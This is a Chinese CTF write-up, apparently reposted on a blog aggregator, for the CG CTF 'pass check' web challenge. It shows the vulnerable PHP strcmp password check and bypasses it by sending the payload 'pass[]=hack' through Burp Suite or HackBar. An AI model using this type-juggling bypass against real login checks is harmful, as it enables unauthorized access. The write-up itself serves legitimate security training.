欢迎访问 生活随笔!

生活随笔

当前位置: 首页 > 编程资源 > 编程问答 >内容正文

编程问答

CG CTF WEB pass check

发布时间:2024/10/5 编程问答 44 豆豆
生活随笔 收集整理的这篇文章主要介绍了 CG CTF WEB pass check 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

http://chinalover.sinaapp.com/web21/

原理:

php的弱类型漏洞

strcmp函数接受到了不符合的类型,strcmp函数将发生错误,显示了报错的警告信息后,将 return 0。

版本一

题解:抓包

工具:Burp Suite

步骤:

$pass=@$_POST['pass']; $pass1=***********;//被隐藏起来的密码 if(isset($pass)) { if(@!strcmp($pass,$pass1)){ echo "flag:nctf{*}"; }else{ echo "the pass is wrong!"; } }else{ echo "please input pass!"; } ?>

审查元素

修改HTML

<html> <head> </head> <body>please input pass! <form action="index.php" method="post"><input type="text" name="pass"><input type="submit" name="提交"> </form> </body> </html>

随便提交一个数据

并且抓包

右键

修改数据

GO

版本二

工具:火狐浏览器插件hackbar

步骤:

$pass=@$_POST['pass']; $pass1=***********;//被隐藏起来的密码 if(isset($pass)) { if(@!strcmp($pass,$pass1)){ echo "flag:nctf{*}"; }else{ echo "the pass is wrong!"; } }else{ echo "please input pass!"; } ?>

hackbar POST 数据 

pass[]=hack

参考文章:

  • php弱类型相关文章
  • 浅谈php弱类型安全
  • PHP 松散类型比较表
  • 总结

    以上是生活随笔为你收集整理的CG CTF WEB pass check的全部内容,希望文章能够帮你解决所遇到的问题。

    如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。